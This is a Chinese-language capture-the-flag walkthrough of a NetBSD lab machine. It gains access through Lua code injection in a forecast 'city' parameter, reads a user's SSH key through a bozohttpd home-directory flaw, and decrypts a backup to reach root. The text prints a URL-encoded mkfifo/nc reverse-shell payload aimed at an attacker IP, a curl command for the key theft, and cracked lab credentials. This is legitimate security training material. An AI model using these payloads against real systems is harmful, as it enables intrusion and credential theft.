目录
简介
靶机偏CTF类型,评分才2.3,评分这么低是有原因的。总体思路是通过lua代码注入获得WebShell,然后利用CVE-2010-2320读取普通用户ssh私钥文件,从而获得普通用户权限,最后通过解密enc文件,利用.htpasswd文件中的密码获得root权限。
信息收集
使用Nmap对目标主机进行端口扫描及服务识别,发现目标主机开启22、80和9001端口,且80和9001端口的web服务都需要经过认证,80端口的robots.txt文件中包含weather目录,目标主机运行着NetBSD操作系统,如图:
访问80端口,需要认证,如图:
尝试常见弱口令未认证成功,取消之后发现目标主机本地开启3000端口,如图:
查看robots.txt文件,果然存在weather目录,如图:
访问9001端口的web服务,同样需要认证,如图:
使用Google搜索9001端口的medusa httpd漏洞发现Supervisor远程代码执行漏洞,但是未利用成功,如图:
扫描网站目录及文件,在80端口web服务的weather目录下发现forecast目录,如图:
访问该目录提示需要传递参数city参数,如图:
传递参数后发现一些城市列表,如图:
使用Burp进行Fuzz时发现报错,如图:
但是并不存在SQL注入漏洞。
漏洞发现
Lua代码注入
使用Google搜索lua相关漏洞发现:Lua Web应用程序安全漏洞,尝试其中的漏洞发现测试代码注入时返回内容少了花括号,如图:
换成print函数后成功执行,如图:
构造payload:Leeds%27)%20os.execute(%27id%27)--,成功执行命令,如图:
漏洞利用
构*弹shell的payload:Leeds%27)%20os.execute(%27rm+%2ftmp%2ffa%3bmkfifo+%2ftmp%2ffa%3bcat+%2ftmp%2ffa%7c%2fbin%2fsh+-i+2>%261%7cnc+10.10.14.44+443+>%2ftmp%2ffa%3b%27)--,成功反弹shell,如图:
权限提升
查看/etc/passwd文件发现普通用户r.michaels用户等,如图:
在.htpasswd文件中发现用户凭据:webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0,如图:
解密后获得密码,如图:
使用webapi_user/iamthebest可以登录80端口的web服务,如图:
但无法登录9001端口的web服务,尝试撞库其它用户未成功。使用提权辅助脚本发现一些配置文件及ssh配置策略允许root用户通过ssh登录,如图:
查看/etc/supervisord.conf发现9001端口web服务用户名和密码,如图:
登录之后如图:
搜索该版本漏洞未发现可获得shell的漏洞。使用curl查看3000端口信息,发现需要认证,使用之前解密的信息认证成功,但和80端口的web服务一样,查看响应头发现Server为bozohttpd,如图:
用户r.michaels的Shell
搜索发现bozohttpd组件存在CVE-2015-8212,CVE-2014-5015,CVE-2010-2320,但是都没有漏洞利用脚本。文章:https://www.anquanke.com/vul/id/1178769描述可以借助以"/~"序列开头的多个URIs请求获取主目录列表内容,但不知道怎么用。在论坛https://raidforums.com/Thread-Tutorial-Luanne-Tutorial-Discussion?page=2发现自己忽略了日志中的3001端口相关信息,成功被作者忽悠,如图:
然后使用大佬们提示的方法:curl --user webapi_user:iamthebest http://127.0.0.1:3001/~r.michaels/id_rsa获取用户的私钥内容,这里脑洞不够大,没想到id_rsa文件的路径没在.ssh目录下,如图:
将私钥内容保存到本地,使用ssh连接成功获得普通用户权限,如图:
由于在ksh中,因此无法执行bash版本的提权辅助脚本。在backups目录下发现enc文件,如图:
查看/var/mail/r.michaels未获得密码等信息。使用openssl命令和webapi_user的密码未解密成功,使用uudecoded也未解码成功。查看论坛大佬的提示,使用netpgp命令解密enc文件,然后解压文件发现.htpasswd文件中的Hash值,如图:
解密Hash值,如图:
使用该密码获得root权限的Shell,如图:
总结
靶机评分2.3,是大家公认比较差的靶机,在普通用户Shell那里由于不知道CVE-2010-2320怎么用卡了很久,在解密enc文件那里寻找密码浪费了不少时间,属实不是啥好靶机。